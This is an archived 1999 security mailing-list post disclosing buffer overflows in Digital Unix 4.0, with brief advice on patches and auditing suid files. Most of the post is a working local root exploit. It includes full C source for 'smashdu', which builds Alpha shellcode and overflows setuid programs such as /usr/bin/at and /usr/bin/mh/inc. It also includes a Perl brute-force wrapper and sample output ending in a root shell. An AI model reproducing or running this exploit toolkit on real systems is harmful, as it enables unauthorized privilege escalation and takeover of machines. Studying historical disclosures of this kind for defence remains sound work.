Digital Unix Buffer Overflows: Exploits

From: Lamont Granquist (lamontgat_private)
Date: Mon Feb 01 1999 - 13:41:25 PST

  • Next message: SGI Security Coordinator: "IRIX 6.5 Security Features"

    Here is the long awaited exploit script.
    
    I am interested in any other buffer overflow holes which people find in
    Digital Unix.  Please see my previous post, though, about what you need to
    do first before dropping me some e-mail (in particular you need to at
    least get a 0x61616161616160 out of gdb -- read my previous post).
    
    
    
    
    31337 s#0u7s + g4337$ t0:
    
      Jim Paris for bringing to my attention that DU4.0D had an exec stack
        and for suggestions for the shellcode.
      Dave Dittrich at UW C&C for tons of help and the 'doit' script.
      Digital for a pretty decent O/S, even if it isn't open source.  Here's
        hoping that Compaq doesn't screw it up.
    
    A big bummer to:
    
      CERT for never answering any of my e-mail.
    
    ----------------------------------------------------------------------------
    
    In a Nutshell:  1. DU4.0 has stack execute permissions
                    2. there exists an exploitable buffer overflow in
                       /usr/bin/mh/inc in DU4.0D patch_kit 2
                    3. older unpatched systems may have other holes,
                       ex: /usr/bin/at in DU4.0B.
                    4. exploit code for 2 and 3 are included.
    
    ----------------------------------------------------------------------------
    
    The General Problem:
    
           Digital (now Compaq) turned on the executable bits on the stack
         and the heap for Digital Unix 4.0x.  The result is that it is now
         reasonably easy to write a buffer overflow for Digital Unix, following
         the guidelines of Aleph1's "smashing the stack" Phrack article.
         Previous versions of Digital Unix (tested on 3.2C) were not vulnerable
         to simple buffer overflows since neither the stack nor the heap were
         executable.
           It is likely that this choice by Digital to turn on the executable
         bits in data areas is driven by either Java compilers or the need for
         trampolines to work correctly (see Solar Designer's stack executable
         patch for Linux).  Unfortunately, this makes the OS significantly
         easier to write buffer overflows for.
           It is likely that exploitable buffer overflow bugs exist in versions
         of Digital Unix such as 3.2C which don't have stack execute permissions,
         but the exploitation of these bugs will be significantly harder.  The
         return-into-libc method of attack[1,2] may work against 3.x version of
         Digital Unix, therefore 3.x system administrators should not feel a
         false sense of security.
    
         [1] http://www.netspace.org/cgi-bin/wa?A2=ind9708B&L=bugtraq&P=R578
         Subject: Getting around non-executable stack (and fix)
         From:    Solar Designer <solarat_private>
    
         [2] http://www.netspace.org/cgi-bin/wa?A2=ind9802A&L=bugtraq&P=R345
         Subject: Defeating Solar Designer non-executable stack patch
         From:    Rafal Wojtczuk <nergalat_private>
    
    
    The Implications:
    
           It should be possible to adapt most of the popular buffer overflows
         in other O/Ses to Digital Unix.  In particular, the remote buffer
         overflows for named, statd and ttdbserverd should be adaptable to
         Digital Unix in principle.  Locally exploitable buffer overflows such
         as the at and xlock bugs should also be adaptable to Digital Unix.
         An example (/usr/bin/at) is given below, along with a new (AFAIK)
         exploit of /usr/bin/mh/inc.
    
    The General Fix:
    
           Stay up-to-date on patches released by Digital^H^H^H^H^H^H^HCompaq.
         The Digital Unix patch kits are available at:
    
             ftp://ftp.service.digital.com/public/dunix/
    
         The files that you want are the reasonably large ones that start
         out with something like "DUV40DAS00002" (for DU4.0D patch kit 2).
           Digital appears to do a reasonable job at staying up-to-date on
         security problems reported in other O/Ses.  For example, they've got
         patches for statd, and ttdbserverd, along with having apparently
         fixed the /usr/bin/at problem somewhere between DU4.0B and DU4.0D.
    
    Worrisome Things:
    
           Try this as root:
    
       # find / -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;
       # find /usr -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;
    
         You should take particular note of:
    
    -rwsr-s---   1 root     system   13860864 Dec  9  1997 /usr/opt/pm/bin/pmgr
    -r-sr-xr-x   1 root     bin      8921088 Sep 24  1997 /usr/bin/ladebug
    
         Personally, a meg or so of suid root code makes me jittery.  I tried to
         bang on these programs a little bit to find a buffer overflow, but
         failed.  I strongly expect that this is only due to a lack of trying.
         I haven't looked at /tmp symlink attacks or anything of the sort,
         either.  It's gotta be there.  I suggest employing chmod ug-s.
    
    ----------------------------------------------------------------------------
    Specific Problem:  /usr/bin/at in DU4.0B
    
           This is pretty simple.  Compile smashdu.c below and execute it with
         the command line arguments of:
    
       % ./smashdu 1022 2 56 /usr/bin/at %e
       using 1022 2 56
       putting overflow code into argv[1]
       #
    
         On unpatched DU4.0B this should give you root (as shown).  In DU4.0D
         /usr/bin/at can be made to coredump, but it does not appear to be easily
         exploitable (see above for discussion of return-into-libc attacks).
    
    ----------------------------------------------------------------------------
    Specific Problem:  /usr/bin/mh/inc in DU4.0D w/patch kit 2
    
    
           This problem exists in DU4.0D w/patch kit 2.  It's a little bit more
         involved than the run-of-the-mill buffer overflow, however.  The size
         of the buffer appears to depend on parameters such as the length of
         the person's username and possibly other factors.  The result is that
         we need to wrap 'smashdu' in a little script to try different buffer
         lengths and offsets into the stack.  The script looks like:
    
    #!/usr/local/bin/perl
    
    $n=8175;
    foreach $j (1..1000) {
      foreach $i (0..7) {
        $x = $n + $j;
        printf("%d %d\n",$x,$i);
        $cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
        open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
        while (<S>) {
          if (m|uid=0|) {
            print "got root with '$cmd'\n";
            exit(0);
          }
        }
      close(S);
      }
    }
    exit(0);
    
    
         When this script runs it typically looks something like the below.  It
         should run for awhile with no errors, then start throwing faults then
         finally give the command line args to 'smashdu' which will work.  If it
         starts faulting immediately and then seems to run forever, then try
         adjusting the starting number in the script (8176) downwards.  The
         output below is typical.
    
    % ./doit
    8176 0
    8176 1
    8176 2
    8176 3
    8176 4
    8176 5
    8176 6
    8176 7
    8177 0
    8177 1
    8177 2
    8177 3
    8177 4
    8177 5
    8177 6
    8177 7
    8178 0
    8178 1
    8178 2
    8178 3
    8178 4
    8178 5
    8178 6
    8178 7
    8179 0
    sh: 20897 Memory fault
    8179 1
    sh: 20601 Memory fault
    8179 2
    sh: 20216 Memory fault
    8179 3
    sh: 20942 Memory fault
    8179 4
    sh: 20861 Memory fault
    8179 5
    sh: 20548 Memory fault
    8179 6
    sh: 20639 Memory fault
    8179 7
    sh: 20571 Memory fault
    8180 0
    sh: 20890 Illegal instruction
    8180 1
    sh: 20929 Illegal instruction
    8180 2
    sh: 20994 Illegal instruction
    8180 3
    sh: 17810 Illegal instruction
    8180 4
    sh: 20898 Illegal instruction
    8180 5
    sh: 20651 Illegal instruction
    8180 6
    sh: 430 Illegal instruction
    8180 7
    sh: 3621 Illegal instruction
    8181 0
    sh: 20760 Illegal instruction
    8181 1
    sh: 20832 Illegal instruction
    8181 2
    sh: 20920 Illegal instruction
    8181 3
    sh: 20933 Illegal instruction
    8181 4
    sh: 13099 Illegal instruction
    8181 5
    sh: 20179 Illegal instruction
    8181 6
    sh: 19680 Illegal instruction
    8181 7
    sh: 19839 Illegal instruction
    8182 0
    sh: 19824 Memory fault
    8182 1
    sh: 19901 Memory fault
    8182 2
    sh: 4701 Memory fault
    8182 3
    sh: 107 Memory fault
    8182 4
    sh: 19347 Memory fault
    8182 5
    sh: 20610 Memory fault
    8182 6
    sh: 20946 Memory fault
    8182 7
    sh: 19815 Memory fault
    8183 0
    sh: 19775 Memory fault
    8183 1
    sh: 20532 Memory fault
    8183 2
    sh: 20996 Memory fault
    8183 3
    sh: 20964 Memory fault
    8183 4
    sh: 20676 Memory fault
    8183 5
    sh: 31924 Memory fault
    8183 6
    sh: 20892 Memory fault
    8183 7
    sh: 20853 Memory fault
    8184 0
    sh: 20986 Illegal instruction
    8184 1
    sh: 15606 Illegal instruction
    8184 2
    got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo'
    
         Enjoy.
    
    ----------------------------------------------------------------------------
    
    THE CODE
    
    How it works:
    
           The following example code should be a pretty decent toolkit for
         doing buffer overruns on DU4.0x.  The buffer overflow itself is pretty
         kludgy and is contained in the genshellcode() function and in the
         rawcode[] buffer.  The entry point to the shellcode is in the middle
         of the shellcode, *not* at the beginning, so that I can do a branch
         backwards (offset is negative -- e.g. 0xffed, instead of positive --
         e.g. 0x0038) which avoids a zero in the shellcode.  Therefore
         genshellcode() has to be a little bit more convoluted and has to modify
         the ending branch instruction.
           The shellcode itself is a little bit nutty in order to avoid all
         those nulls.  Avoiding nulls is a real pain.  The call_pal instruction
         (part of exec("/bin/sh")) has a bunch of unavoidable nulls and the
         "/bin/sh" itself has an unavoidable null -- the xors are for taking
         care of things like that.  It also uses offsets of about 0x140 to
         avoid nulls in the first byte of the offset.
           I'm not an alpha assembly language hacker, so this thing might be able
         to be done better and tighter.  Right now it must be at least 80 bytes
         in length.
           The shellcode gets dumped into an environment variable, similarly to
         Aleph1's code in his phrack article.  You can also specify command line
         arguments of the form '-e "DISPLAY=foo:0.0"' (ex) if you need additional
         ones.  It then takes the shellcodesize (size on the heap where the
         shellcode gets stuck -- 80 is the minimum -- this is not the buffer that
         gets overflowed -- 1024 is probably a good value), then the padding
         (a value from 0..7 which adjusts the shellcode so that it is on a 64-bit
         word boundary since env variables are not aligned at all), then the
         size of the buffer overflow.  The buffer overflow currently fills the
         buffer with 'a' (0x61) characters and then the ra.  The ra can be changed
         with the '-r' argument -- remember to avoid nulls in the ra.
           Then you simply give command line arguments as you would normally to
         run the program you are trying to overflow where a single %e will get
         substituted by the buffer overflow.
    
         ex:
    
    ./smashdu -e "DISPLAY=foo:0.0" 1024 0 1501 /usr/bin/X11/xterm -fg %e
    
         (which nearly works -- i can't figure it out -- 1501 is too long while
          1500 is too short -- Digital Unix 4.0B, unpatched).
    
    The Code: smashdu.c
    
    
    /* smashdu.c
       generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
       Lamont Granquist
       lamontgat_private
       lamontgat_private
       Tue Dec  1 11:22:03 PST 1998
    
       gcc -o smashdu smashdu.c */
    
    #define MAXENV 30
    #define MAXARG 30
    
    #include <unistd.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <stdio.h>
    
    /* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72 bytes
       it cannot be simply padded with nops prior to the shellcode.  */
    
    int rawcode[] = {
      0x2230fec4,              /* subq $16,0x13c,$17       */
      0x47ff0412,              /* clr $18                  */
      0x42509532,              /* subq $18, 0x84           */
      0x239fffff,              /* xor $18, 0xffffffff, $18 */
      0x4b84169c,
      0x465c0812,
      0xb2510134,              /* stl $18, 0x134($17)      */
      0x265cff98,              /* lda $18, 0xff978cd0      */
      0x22528cd1,
      0x465c0812,              /* xor $18, 0xffffffff, $18 */
      0xb2510140,              /* stl $18, 0x140($17)      */
      0xb6110148,              /* stq $16,0x148($17)       */
      0xb7f10150,              /* stq $31,0x150($17)       */
      0x22310148,              /* addq $17,0x148,$17       */
      0x225f013a,              /* ldil $18,0x13a           */
      0x425ff520,              /* subq $18,0xff,$0         */
      0x47ff0412,              /* clr $18                  */
      0xffffffff,              /* call_pal 0x83            */
      0xd21fffed,              /* bsr $16,$l1    ENTRY     */
      0x6e69622f,              /* .ascii "/bin"            */
                               /* .ascii "/sh\0" is generated */
    };
    
    int nop           = 0x47ff041f;
    int shellcodesize = 0;
    int padding       = 0;
    int overflowsize  = 0;
    long retaddr      = 0x11fffff24;
    
    
    void usage(void) {
      fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
      fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
      fprintf(stderr, "  -e: add a variable to the environment\n");
      fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
      fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
      fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
      fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
      fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
      fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
      fprintf(stderr, "/foo/bar %%e\n");
      exit(-1);
    }
    
    /* this handles generation of shellcode of the appropriate size and with
       appropriate padding bytes for alignment.  the padding argument should
       typically only be 0,1,2,3 and the routine is "nice" in that if you feed
       it the size of your malloc()'d buffer it should prevent overrunning it
       by automatically adjusting the shellcode size downwards. */
    
    
    int genshellcode(char *shellcode, int size, int padding) {
      int i, s, n;
      char *rp;
      char *sp;
      char *np;
    
      rp = (char *)rawcode;
      sp = (char *)shellcode;
      np = (char *)&nop;
      s  = size;
    
      if (size < (80 + padding))  {
        fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
        fprintf(stderr, "with %d padding\n", size, padding);
        exit(-1);
      }
    
    /* first we pad */
      for(i=0;i<padding;i++) {
        *sp = 0x6e;
        sp++;
        s--;
      }
    
    /* then we copy over the first 72 bytes of the shellcode */
      for(i=0;i<72;i++) {
        *sp = rp[i];
        sp++;
        s--;
      }
    
      if (s % 4 != 0) {
        n = s % 4;
        s -= n;
        printf("shellcode truncated to %d bytes\n", size - n);
      }
    
    /* then we add the nops */
      for(i=0; s > 8; s--, i++) {
        *sp = np[i % 4];
        sp++;
      }
      n = i / 4;       /* n == number of nops */
    
    /* then we add the tail 2 instructions */
      for(i=0; i < 8; i++) {
        *sp = rp[i+72];
        if(i==0)   /* here we handle modifying the branch instruction */
          *sp -= n;
        *sp++;
      }
    
    }
    
    int main(argc, argv)
      int   argc;
      char *argv[];
    {
      char *badargs[MAXARG];
      char *badenv[MAXENV];
      long  i, *ip, p;
      char *cp, *ocp;
      int   c, env_idx, overflow_idx;
    
      env_idx = 0;
    
      while ((c = getopt(argc, argv, "e:r:")) != EOF) {
        switch (c) {
        case 'e':                         /* add an env variable */
          badenv[env_idx++] = optarg;
          if (env_idx >= MAXENV - 2) {
            fprintf(stderr, "too many envs, ");
            fprintf(stderr, "try increasing MAXENV and recompiling\n");
            exit(-1);
          }
          break;
        case 'r':                         /* change default ra */
          sscanf(optarg, "%x", &retaddr);
          break;
        default:
          usage();
          /* NOTREACHED */
        }
      }
    
      if (argc - optind < 4) {
        usage();
      }
    
      shellcodesize = atoi(argv[optind++]);
      padding       = atoi(argv[optind++]);
      overflowsize  = atoi(argv[optind++]);
    
      printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
    
    /* copy the args over from argv[] into badargs[] */
      for(i=0;i<29;i++) {
        if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode */
          badargs[i] = malloc(overflowsize);
          overflow_idx = i;
          optind++;
        } else {
          badargs[i] = argv[optind++];
        }
        if (optind >= argc) {
          i++;
          break;
        }
      }
    
      badargs[i] = NULL;
    
      if (optind < argc) {
        fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
        exit(-1);
      }
    
      printf("putting overflow code into argv[%d]\n", overflow_idx);
    
      cp = badargs[overflow_idx];
      for(i=0;i<overflowsize-8;i++) {
        *cp = 0x61;
        cp++;
      }
    
      ocp = (char *) &retaddr;
    
      for(i=0;i<8;i++) {
        cp[i] = ocp[i];
      }
    
    /* here is where we actually shovel the shellcode into the environment */
      badenv[env_idx] = malloc(1024);
      genshellcode(badenv[env_idx++],shellcodesize,padding);
      badenv[env_idx] = NULL;
    
    /* and now we call our program with the hostile args */
      execve(badargs[0], badargs, badenv);
    
    }
    
    
    --
    Lamont Granquist                       lamontgat_private
    Dept. of Molecular Biotechnology       (206)616-5735  fax: (206)685-7344
    Box 352145 / University of Washington / Seattle, WA 98195
    PGP pubkey: finger lamontgat_private | pgp -fka
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:32:09 PDT